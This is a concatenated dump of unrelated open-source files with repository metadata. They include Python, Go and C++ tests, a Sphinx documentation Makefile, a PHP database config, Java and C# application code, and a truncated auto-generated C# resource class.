from __future__ import unicode_literals from celery_longterm_scheduler import get_scheduler from celery_longterm_scheduler.conftest import CELERY import mock import pendulum @CELERY.task def echo(arg): return arg def test_should_store_all_arguments_needed_for_send_task(celery_worker): # Cannot do this with a Mock, since they (technically correctly) # differentiate recording calls between args and kw, so a call # `send_task(1, 2, 3)` is not considered equal to # `send_task(1, args=2, kwargs=3)`, although semantically it is the same. def record_task( name, args=None, kwargs=None, countdown=None, eta=None, task_id=None, producer=None, connection=None, router=None, result_cls=None, expires=None, publisher=None, link=None, link_error=None, add_to_parent=True, group_id=None, retries=0, chord=None, reply_to=None, time_limit=None, soft_time_limit=None, root_id=None, parent_id=None, route_name=None, shadow=None, chain=None, task_type=None, **options): options.update(dict( args=args, kwargs=kwargs, countdown=countdown, eta=eta, task_id=task_id, producer=producer, connection=connection, router=router, result_cls=result_cls, expires=expires, publisher=publisher, link=link, link_error=link_error, add_to_parent=add_to_parent, group_id=group_id, retries=retries, chord=chord, reply_to=reply_to, time_limit=time_limit, soft_time_limit=soft_time_limit, root_id=root_id, parent_id=parent_id, route_name=route_name, shadow=shadow, chain=chain, task_type=task_type )) calls.append((name, options)) calls = [] with mock.patch.object(CELERY, 'send_task', new=record_task): result = echo.apply_async(('foo',), eta=pendulum.now()) task = get_scheduler(CELERY).backend.get(result.id) args = task[0] kw = task[1] # schedule() always generates an ID itself (to reuse it for the # scheduler storage), while the normal apply_async() defers that to # send_task(). We undo this here for comparison purposes. kw['task_id'] = None CELERY.send_task(*args, **kw) scheduled_call = calls[0] echo.apply_async(('foo',)) normal_call = calls[1] # Special edge case, see Task._schedule() for an explanation normal_call[1]['result_cls'] = None assert scheduled_call == normal_call def test_should_bypass_if_no_eta_given(): with mock.patch( 'celery_longterm_scheduler.task.Task._schedule') as schedule: result = echo.apply_async(('foo',)) assert schedule.call_count == 0 result.get() # Be careful about test isolation result = echo.apply_async(('foo',), eta=None) assert schedule.call_count == 0 result.get() # Be careful about test isolation echo.apply_async(('foo',), eta=pendulum.now()) assert schedule.call_count == 1
bsd-3-clause
jonzobrist/Percona-Server-5.1
doc/Makefile
5063
# Makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = BUILDDIR = build # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source .PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest help: @echo "Please use \`make <target>' where <target> is one of" @echo " html to make standalone HTML files" @echo " dirhtml to make HTML files named index.html in directories" @echo " singlehtml to make a single large HTML file" @echo " pickle to make pickle files" @echo " json to make JSON files" @echo " htmlhelp to make HTML files and a HTML help project" @echo " qthelp to make HTML files and a qthelp project" @echo " devhelp to make HTML files and a Devhelp project" @echo " epub to make an epub" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " latexpdf to make LaTeX files and run them through pdflatex" @echo " text to make text files" @echo " man to make manual pages" @echo " changes to make an overview of all changed/added/deprecated items" @echo " linkcheck to check all external links for integrity" @echo " doctest to run all doctests embedded in the documentation (if enabled)" clean: -rm -rf $(BUILDDIR)/* html: @echo "Downloading percona-theme ..." @wget -O percona-theme.tar.gz http://percona.com/docs/theme/percona-server/5.1 @echo "Extracting theme." @tar -zxf percona-theme.tar.gz @rm -rf source/percona-theme @mv percona-theme source/percona-theme @rm percona-theme.tar.gz @echo "Building html doc" $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." dirhtml: $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." offhtml: $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." singlehtml: $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml @echo @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." pickle: $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle @echo @echo "Build finished; now you can process the pickle files." json: $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json @echo @echo "Build finished; now you can process the JSON files." htmlhelp: $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in $(BUILDDIR)/htmlhelp." qthelp: $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp @echo @echo "Build finished; now you can run "qcollectiongenerator" with the" \ ".qhcp project file in $(BUILDDIR)/qthelp, like this:" @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/PerconaServer.qhcp" @echo "To view the help file:" @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/PerconaServer.qhc" devhelp: $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp @echo @echo "Build finished." @echo "To view the help file:" @echo "# mkdir -p $$HOME/.local/share/devhelp/PerconaServer" @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/PerconaServer" @echo "# devhelp" epub: $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub @echo @echo "Build finished. The epub file is in $(BUILDDIR)/epub." latex: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." @echo "Run \`make' in that directory to run these through (pdf)latex" \ "(use \`make latexpdf' here to do that automatically)." latexpdf: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo "Running LaTeX files through pdflatex..." make -C $(BUILDDIR)/latex all-pdf @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." text: $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text @echo @echo "Build finished. The text files are in $(BUILDDIR)/text." man: $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man @echo @echo "Build finished. The manual pages are in $(BUILDDIR)/man." changes: $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes @echo @echo "The overview file is in $(BUILDDIR)/changes." linkcheck: $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in $(BUILDDIR)/linkcheck/output.txt." doctest: $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest @echo "Testing of doctests in the sources finished, look at the " \ "results in $(BUILDDIR)/doctest/output.txt."
bsd-3-clause
hrydi/yii_
config/db.php
189
<?php return [ 'class' => 'yii\db\Connection', 'dsn' => 'mysql:host=localhost;dbname=yii2basic', 'username' => 'root', 'password' => 'mariadb', 'charset' => 'utf8', ];
bsd-3-clause
joansmith/rultor
src/main/java/com/rultor/agents/github/Question.java
2379
/** * Copyright (c) 2009-2015, rultor.com * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: 1) Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. 2) Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. 3) Neither the name of the rultor.com nor * the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.rultor.agents.github; import com.jcabi.aspects.Immutable; import com.jcabi.github.Comment; import java.io.IOException; import java.net.URI; /** * Question. * * @author Yegor Bugayenko ([email protected]) * @version $Id$ * @since 1.3 */ @Immutable public interface Question { /** * Empty always. */ Question EMPTY = new Question() { @Override public Req understand(final Comment.Smart comment, final URI home) { return Req.EMPTY; } }; /** * Understand it and return the request. * @param comment The comment * @param home Home URI of the daemon * @return Request (or Req.EMPTY is nothing found) * @throws IOException If fails */ Req understand(Comment.Smart comment, URI home) throws IOException; }
bsd-3-clause
111WARLOCK111/Caznowl-Cube-Zombie
fCraft/Commands/ChatCommands.cs
18005
// Copyright 2009-2013 Matvei Stefarov <[email protected]> using System; using System.Collections.Generic; using System.Linq; namespace fCraft { static class ChatCommands { public static void Init() { CommandManager.RegisterCommand( CdSay ); CommandManager.RegisterCommand( CdStaff ); CommandManager.RegisterCommand( CdIgnore ); CommandManager.RegisterCommand( CdUnignore ); CommandManager.RegisterCommand( CdMe ); CommandManager.RegisterCommand( CdRoll ); CommandManager.RegisterCommand( CdDeafen ); CommandManager.RegisterCommand( CdClear ); CommandManager.RegisterCommand( CdTimer ); CommandManager.RegisterCommand( CdReply ); } #region Reply static readonly CommandDescriptor CdReply = new CommandDescriptor { Name = "Reply", Aliases = new[] {"re"}, Category = CommandCategory.Chat, Permissions = new[] {Permission.Chat}, IsConsoleSafe = true, UsableByFrozenPlayers = true, Usage = "/Re <Message>", Help = "Replies to the last message that was sent TO you. " + "To follow up on the last message that YOU sent, use &H@-&S instead.", Handler = ReplyHandler }; static void ReplyHandler( Player player, CommandReader cmd ) { string messageText = cmd.NextAll(); if( messageText.Length == 0 ) { player.Message( "Reply: No message to send!" ); return; } string targetName = player.lastPrivateMessageSender; if( targetName != null ) { Player targetPlayer = Server.FindPlayerExact( player, targetName, SearchOptions.IncludeHidden ); if( targetPlayer != null ) { if( player.CanSee( targetPlayer ) ) { if( targetPlayer.IsDeaf ) { player.Message( "Cannot PM {0}&S: they are currently deaf.", targetPlayer.ClassyName ); } else if( targetPlayer.IsIgnoring( player.Info ) ) { player.Message( "&WCannot PM {0}&W: you are ignored.", targetPlayer.ClassyName ); } else { Chat.SendPM( player, targetPlayer, messageText ); player.MessageNow( "&Pto {0}: {1}", targetPlayer.Name, messageText ); } } else { player.Message( "Reply: Cannot send message; player {0}&S is offline.", PlayerDB.FindExactClassyName( targetName ) ); if( targetPlayer.CanHear( player ) ) { Chat.SendPM( player, targetPlayer, messageText ); player.Info.DecrementMessageWritten(); } } } else { player.Message( "Reply: Cannot send message; player {0}&S is offline.", PlayerDB.FindExactClassyName( targetName ) ); } } else { player.Message( "Reply: You have not sent any messages yet." ); } } #endregion #region Say static readonly CommandDescriptor CdSay = new CommandDescriptor { Name = "Say", Aliases = new[] { "broadcast" }, Category = CommandCategory.Chat, IsConsoleSafe = true, NotRepeatable = true, DisableLogging = true, UsableByFrozenPlayers = true, Permissions = new[] { Permission.Chat, Permission.Say }, Usage = "/Say Message", Help = "Shows a message in special color, without the player name prefix. " + "Can be used for making announcements.", Handler = SayHandler }; static void SayHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; if( player.Can( Permission.Say ) ) { string msg = cmd.NextAll().Trim( ' ' ); if( msg.Length > 0 ) { Chat.SendSay( player, msg ); } else { CdSay.PrintUsage( player ); } } else { player.MessageNoAccess( Permission.Say ); } } #endregion #region Staff static readonly CommandDescriptor CdStaff = new CommandDescriptor { Name = "Staff", Aliases = new[] { "st" }, Category = CommandCategory.Chat | CommandCategory.Moderation, Permissions = new[] { Permission.Chat }, NotRepeatable = true, IsConsoleSafe = true, DisableLogging = true, UsableByFrozenPlayers = true, Usage = "/Staff Message", Help = "Broadcasts your message to all operators/moderators on the server at once.", Handler = StaffHandler }; static void StaffHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; string message = cmd.NextAll().Trim( ' ' ); if( message.Length > 0 ) { Chat.SendStaff( player, message ); } } #endregion #region Ignore / Unignore static readonly CommandDescriptor CdIgnore = new CommandDescriptor { Name = "Ignore", Category = CommandCategory.Chat, IsConsoleSafe = true, Usage = "/Ignore [PlayerName]", Help = "Temporarily blocks the other player from messaging you. " + "If no player name is given, lists all ignored players.", Handler = IgnoreHandler }; static void IgnoreHandler( Player player, CommandReader cmd ) { string name = cmd.Next(); if( name != null ) { if( cmd.HasNext ) { // too many parameters given CdIgnore.PrintUsage( player ); return; } // A name was given -- let's find the target PlayerInfo targetInfo = PlayerDB.FindPlayerInfoOrPrintMatches( player, name, SearchOptions.ReturnSelfIfOnlyMatch ); if( targetInfo == null ) return; if( targetInfo == player.Info ) { player.Message( "You cannot &H/Ignore&S yourself." ); return; } if( player.Ignore( targetInfo ) ) { player.MessageNow( "You are now ignoring {0}", targetInfo.ClassyName ); } else { player.MessageNow( "You are already ignoring {0}", targetInfo.ClassyName ); } } else { ListIgnoredPlayers( player ); } } static readonly CommandDescriptor CdUnignore = new CommandDescriptor { Name = "Unignore", Category = CommandCategory.Chat, IsConsoleSafe = true, Usage = "/Unignore PlayerName", Help = "Unblocks the other player from messaging you.", Handler = UnignoreHandler }; static void UnignoreHandler( Player player, CommandReader cmd ) { string name = cmd.Next(); if( name != null ) { if( cmd.HasNext ) { // too many parameters given CdUnignore.PrintUsage( player ); return; } // A name was given -- let's find the target PlayerInfo targetInfo = PlayerDB.FindPlayerInfoOrPrintMatches( player, name, SearchOptions.ReturnSelfIfOnlyMatch ); if( targetInfo == null ) return; if( targetInfo == player.Info ) { player.Message( "You cannot &H/Ignore&S (or &H/Unignore&S) yourself." ); return; } if( player.Unignore( targetInfo ) ) { player.MessageNow( "You are no longer ignoring {0}", targetInfo.ClassyName ); } else { player.MessageNow( "You are not currently ignoring {0}", targetInfo.ClassyName ); } } else { ListIgnoredPlayers( player ); } } static void ListIgnoredPlayers( Player player ) { PlayerInfo[] ignoreList = player.IgnoreList; if( ignoreList.Length > 0 ) { player.MessageNow( "Ignored players: {0}", ignoreList.JoinToClassyString() ); } else { player.MessageNow( "You are not currently ignoring anyone." ); } } #endregion #region Me static readonly CommandDescriptor CdMe = new CommandDescriptor { Name = "Me", Category = CommandCategory.Chat, Permissions = new[] { Permission.Chat }, IsConsoleSafe = true, NotRepeatable = true, DisableLogging = true, UsableByFrozenPlayers = true, Usage = "/Me Message", Help = "Sends IRC-style action message prefixed with your name.", Handler = MeHandler }; static void MeHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; string msg = cmd.NextAll().Trim( ' ' ); if( msg.Length > 0 ) { Chat.SendMe( player, msg ); } else { CdMe.PrintUsage( player ); } } #endregion #region Roll static readonly CommandDescriptor CdRoll = new CommandDescriptor { Name = "Roll", Category = CommandCategory.Chat, Permissions = new[] { Permission.Chat }, IsConsoleSafe = true, Help = "Gives random number between 1 and 100.\n" + "&H/Roll MaxNumber\n" + "&S Gives number between 1 and max.\n" + "&H/Roll MinNumber MaxNumber\n" + "&S Gives number between min and max.", Handler = RollHandler }; static void RollHandler( Player player, CommandReader cmd ) { if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; Random rand = new Random(); int n1; int min, max; if( cmd.NextInt( out n1 ) ) { int n2; if( !cmd.NextInt( out n2 ) ) { n2 = 1; } min = Math.Min( n1, n2 ); max = Math.Max( n1, n2 ); } else { min = 1; max = 100; } if( max == Int32.MaxValue - 1 ) { player.Message( "Roll: Given values must be between {0} and {1}", Int32.MinValue, Int32.MaxValue - 1 ); return; } int num = rand.Next( min, max + 1 ); Server.Message( player, "{0}{1} rolled {2} ({3}...{4})", player.ClassyName, Color.Silver, num, min, max ); player.Message( "{0}You rolled {1} ({2}...{3})", Color.Silver, num, min, max ); } #endregion #region Deafen static readonly CommandDescriptor CdDeafen = new CommandDescriptor { Name = "Deafen", Aliases = new[] { "deaf" }, Category = CommandCategory.Chat, Help = "Blocks all chat messages from being sent to you.", Handler = DeafenHandler }; static void DeafenHandler( Player player, CommandReader cmd ) { if( cmd.HasNext ) { CdDeafen.PrintUsage( player ); return; } if( !player.IsDeaf ) { for( int i = 0; i < LinesToClear; i++ ) { player.MessageNow( "" ); } player.MessageNow( "Deafened mode: ON" ); player.MessageNow( "You will not see ANY messages until you type &H/Deafen&S again." ); player.IsDeaf = true; } else { player.IsDeaf = false; player.MessageNow( "Deafened mode: OFF" ); } } #endregion #region Clear const int LinesToClear = 30; static readonly CommandDescriptor CdClear = new CommandDescriptor { Name = "Clear", UsableByFrozenPlayers = true, Category = CommandCategory.Chat, Help = "Clears the chat screen.", Handler = ClearHandler }; static void ClearHandler( Player player, CommandReader cmd ) { if( cmd.HasNext ) { CdClear.PrintUsage( player ); return; } for( int i = 0; i < LinesToClear; i++ ) { player.Message( "" ); } } #endregion #region Timer static readonly CommandDescriptor CdTimer = new CommandDescriptor { Name = "Timer", Permissions = new[] { Permission.UseTimers }, IsConsoleSafe = true, Category = CommandCategory.Chat, Usage = "/Timer <Duration> <Message>", Help = "Starts a timer with a given duration and message. " + "As the timer counts down, announcements are shown globally. See also: &H/Help Timer Abort", HelpSections = new Dictionary<string, string> { { "abort", "&H/Timer Abort <TimerID>\n&S" + "Aborts a timer with the given ID number. " + "To see a list of timers and their IDs, type &H/Timer&S (without any parameters)." } }, Handler = TimerHandler }; static void TimerHandler( Player player, CommandReader cmd ) { string param = cmd.Next(); // List timers if( param == null ) { ChatTimer[] list = ChatTimer.TimerList.OrderBy( timer => timer.TimeLeft ).ToArray(); if( list.Length == 0 ) { player.Message( "No timers running." ); } else { player.Message( "There are {0} timers running:", list.Length ); foreach( ChatTimer timer in list ) { player.Message( " #{0} \"{1}&S\" (started by {2}, {3} left)", timer.ID, timer.Message, timer.StartedBy, timer.TimeLeft.ToMiniString() ); } } return; } // Abort a timer if( param.Equals( "abort", StringComparison.OrdinalIgnoreCase ) ) { int timerId; if( cmd.NextInt( out timerId ) ) { ChatTimer timer = ChatTimer.FindTimerById( timerId ); if( timer == null || !timer.IsRunning ) { player.Message( "Given timer (#{0}) does not exist.", timerId ); } else { timer.Abort(); string abortMsg = String.Format( "&Y(Timer) {0}&Y aborted a timer with {1} left: {2}", player.ClassyName, timer.TimeLeft.ToMiniString(), timer.Message ); Chat.SendSay( player, abortMsg ); } } else { CdTimer.PrintUsage( player ); } return; } // Start a timer if( player.Info.IsMuted ) { player.MessageMuted(); return; } if( player.DetectChatSpam() ) return; TimeSpan duration; if( !param.TryParseMiniTimeSpan( out duration ) ) { CdTimer.PrintUsage( player ); return; } if( duration > DateTimeUtil.MaxTimeSpan ) { player.MessageMaxTimeSpan(); return; } if( duration < ChatTimer.MinDuration ) { player.Message( "Timer: Must be at least 1 second." ); return; } string sayMessage; string message = cmd.NextAll(); if( String.IsNullOrEmpty( message ) ) { sayMessage = String.Format( "&Y(Timer) {0}&Y started a {1} timer", player.ClassyName, duration.ToMiniString() ); } else { sayMessage = String.Format( "&Y(Timer) {0}&Y started a {1} timer: {2}", player.ClassyName, duration.ToMiniString(), message ); } Chat.SendSay( player, sayMessage ); ChatTimer.Start( duration, message, player.Name ); } #endregion } }
bsd-3-clause
OBHITA/Consent2Share
ThirdParty/adobe-echosign-api/src/main/java/echosign/api/clientv20/dto7/package-info.java
182
@javax.xml.bind.annotation.XmlSchema(namespace = "http://dto7.api.echosign", elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED) package echosign.api.clientv20.dto7;
bsd-3-clause
gertv/go-freckle
freckle_test.go
1325
// Copyright 2014 - anova r&d bvba. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package freckle import ( "fmt" "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/assert" ) const domain = "mydomain" const token = "abcdefghijklmnopqrstuvwxyz" func letsTestFreckle(ts *httptest.Server) Freckle { f := LetsFreckle(domain, token) f.Debug(true) f.base = ts.URL return f } func authenticated(t *testing.T, method, path string, fn func(w http.ResponseWriter, r *http.Request)) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { assert.Equal(t, method, r.Method, "Should have been HTTP "+method) assert.Equal(t, path, r.URL.Path, "Should have been HTTP URL "+path) assert.Equal(t, domain, r.Header.Get("User-Agent"), "User-Agent header should have been set") assert.Equal(t, token, r.Header.Get("X-FreckleToken"), "X-FreckleToken header should have been set") fn(w, r) }) } func response(body string) func(http.ResponseWriter, *http.Request) { return func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, body) } } func noContent() func(http.ResponseWriter, *http.Request) { return func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(204) } }
bsd-3-clause
exponent/exponent
packages/expo-application/android/src/main/java/expo/modules/application/ApplicationModule.java
6171
package expo.modules.application; import android.app.Activity; import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Build; import android.os.RemoteException; import android.provider.Settings; import android.util.Log; import com.android.installreferrer.api.InstallReferrerClient; import com.android.installreferrer.api.InstallReferrerStateListener; import com.android.installreferrer.api.ReferrerDetails; import org.unimodules.core.ExportedModule; import org.unimodules.core.ModuleRegistry; import org.unimodules.core.Promise; import org.unimodules.core.interfaces.ActivityProvider; import org.unimodules.core.interfaces.ExpoMethod; import org.unimodules.core.interfaces.RegistryLifecycleListener; import java.util.HashMap; import java.util.Map; public class ApplicationModule extends ExportedModule implements RegistryLifecycleListener { private static final String NAME = "ExpoApplication"; private static final String TAG = ApplicationModule.class.getSimpleName(); private ModuleRegistry mModuleRegistry; private Context mContext; private ActivityProvider mActivityProvider; private Activity mActivity; public ApplicationModule(Context context) { super(context); mContext = context; } @Override public String getName() { return NAME; } @Override public void onCreate(ModuleRegistry moduleRegistry) { mModuleRegistry = moduleRegistry; mActivityProvider = moduleRegistry.getModule(ActivityProvider.class); mActivity = mActivityProvider.getCurrentActivity(); } @Override public Map<String, Object> getConstants() { HashMap<String, Object> constants = new HashMap<>(); String applicationName = mContext.getApplicationInfo().loadLabel(mContext.getPackageManager()).toString(); String packageName = mContext.getPackageName(); constants.put("applicationName", applicationName); constants.put("applicationId", packageName); PackageManager packageManager = mContext.getPackageManager(); try { PackageInfo pInfo = packageManager.getPackageInfo(packageName, 0); constants.put("nativeApplicationVersion", pInfo.versionName); int versionCode = (int)getLongVersionCode(pInfo); constants.put("nativeBuildVersion", Integer.toString(versionCode)); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Exception: ", e); } constants.put("androidId", Settings.Secure.getString(mContext.getContentResolver(), Settings.Secure.ANDROID_ID)); return constants; } @ExpoMethod public void getInstallationTimeAsync(Promise promise) { PackageManager packageManager = mContext.getPackageManager(); String packageName = mContext.getPackageName(); try { PackageInfo info = packageManager.getPackageInfo(packageName, 0); promise.resolve((double)info.firstInstallTime); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Exception: ", e); promise.reject("ERR_APPLICATION_PACKAGE_NAME_NOT_FOUND", "Unable to get install time of this application. Could not get package info or package name.", e); } } @ExpoMethod public void getLastUpdateTimeAsync(Promise promise) { PackageManager packageManager = mContext.getPackageManager(); String packageName = mContext.getPackageName(); try { PackageInfo info = packageManager.getPackageInfo(packageName, 0); promise.resolve((double)info.lastUpdateTime); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Exception: ", e); promise.reject("ERR_APPLICATION_PACKAGE_NAME_NOT_FOUND", "Unable to get last update time of this application. Could not get package info or package name.", e); } } @ExpoMethod public void getInstallReferrerAsync(final Promise promise) { final StringBuilder installReferrer = new StringBuilder(); final InstallReferrerClient referrerClient; referrerClient = InstallReferrerClient.newBuilder(mContext).build(); referrerClient.startConnection(new InstallReferrerStateListener() { @Override public void onInstallReferrerSetupFinished(int responseCode) { switch (responseCode) { case InstallReferrerClient.InstallReferrerResponse.OK: // Connection established and response received try { ReferrerDetails response = referrerClient.getInstallReferrer(); installReferrer.append(response.getInstallReferrer()); } catch (RemoteException e) { Log.e(TAG, "Exception: ", e); promise.reject("ERR_APPLICATION_INSTALL_REFERRER_REMOTE_EXCEPTION", "RemoteException getting install referrer information. This may happen if the process hosting the remote object is no longer available.", e); } promise.resolve(installReferrer.toString()); break; case InstallReferrerClient.InstallReferrerResponse.FEATURE_NOT_SUPPORTED: // API not available in the current Play Store app promise.reject("ERR_APPLICATION_INSTALL_REFERRER_UNAVAILABLE", "The current Play Store app doesn't provide the installation referrer API, or the Play Store may not be installed."); break; case InstallReferrerClient.InstallReferrerResponse.SERVICE_UNAVAILABLE: // Connection could not be established promise.reject("ERR_APPLICATION_INSTALL_REFERRER_CONNECTION", "Could not establish a connection to Google Play"); break; default: promise.reject("ERR_APPLICATION_INSTALL_REFERRER", "General error retrieving the install referrer: response code " + responseCode); } referrerClient.endConnection(); } @Override public void onInstallReferrerServiceDisconnected() { promise.reject("ERR_APPLICATION_INSTALL_REFERRER_SERVICE_DISCONNECTED", "Connection to install referrer service was lost."); } }); } private static long getLongVersionCode(PackageInfo info) { if (Build.VERSION.SDK_INT >= 28) { return info.getLongVersionCode(); } return info.versionCode; } }
bsd-3-clause
stan-dev/math
test/unit/math/mix/fun/sub_row_test.cpp
1112
#include <test/unit/math/test_ad.hpp> TEST(MathMixMatFun, subRow) { auto f = [](int i, int j, int k) { return [=](const auto& y) { return stan::math::sub_row(y, i, j, k); }; }; Eigen::MatrixXd a(1, 1); a << 3.2; stan::test::expect_ad(f(1, 1, 0), a); stan::test::expect_ad(f(1, 1, 1), a); Eigen::MatrixXd b(3, 4); b << 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12; stan::test::expect_ad(f(1, 1, 0), b); stan::test::expect_ad(f(1, 1, 1), b); stan::test::expect_ad(f(1, 1, 3), b); stan::test::expect_ad(f(1, 2, 2), b); stan::test::expect_ad(f(3, 4, 1), b); stan::test::expect_ad(f(2, 3, 2), b); stan::test::expect_ad(f(1, 1, 7), b); // exception--range stan::test::expect_ad(f(7, 1, 1), b); // exception--range stan::test::expect_ad(f(1, 7, 1), b); // exception--range Eigen::MatrixXd c(0, 0); stan::test::expect_ad(f(0, 0, 0), c); stan::test::expect_ad(f(0, 1, 0), c); stan::test::expect_ad(f(0, 1, 1), c); stan::test::expect_ad(f(1, 0, 0), c); stan::test::expect_ad(f(1, 0, 1), c); stan::test::expect_ad(f(1, 1, 0), c); stan::test::expect_ad(f(1, 1, 1), c); }
bsd-3-clause
Blindinglight-Team5433/BlindingLight-Sheila
src/org/usfirst/frc5433/BlindingLight_Sheila/commands/AutonomousCommand.java
1569
// RobotBuilder Version: 1.5 // // This file was generated by RobotBuilder. It contains sections of // code that are automatically generated and assigned by robotbuilder. // These sections will be updated in the future when you export to // Java from RobotBuilder. Do not put any code or make any change in // the blocks indicating autogenerated code or it will be lost on an // update. Deleting the comments indicating the section will prevent // it from being updated in the future. package org.usfirst.frc5433.BlindingLight_Sheila.commands; import edu.wpi.first.wpilibj.command.Command; import org.usfirst.frc5433.BlindingLight_Sheila.Robot; /** * */ public class AutonomousCommand extends Command { public AutonomousCommand() { // Use requires() here to declare subsystem dependencies // eg. requires(chassis); // BEGIN AUTOGENERATED CODE, SOURCE=ROBOTBUILDER ID=REQUIRES // END AUTOGENERATED CODE, SOURCE=ROBOTBUILDER ID=REQUIRES } // Called just before this Command runs the first time protected void initialize() { } // Called repeatedly when this Command is scheduled to run protected void execute() { } // Make this return true when this Command no longer needs to run execute() protected boolean isFinished() { return false; } // Called once after isFinished returns true protected void end() { } // Called when another command which requires one or more of the same // subsystems is scheduled to run protected void interrupted() { } }
bsd-3-clause
maatvirtue/forgottenschism
res/xna/Map Tool/Map1.Designer.cs
2979
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.269 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Map_Tool { using System; /// <summary> /// A strongly-typed resource class, for looking up localized strings, etc. /// </summary> // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal partial class Map { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Map() { } /// <summary> /// Returns the cached ResourceManager instance used by this class. /// </summary> 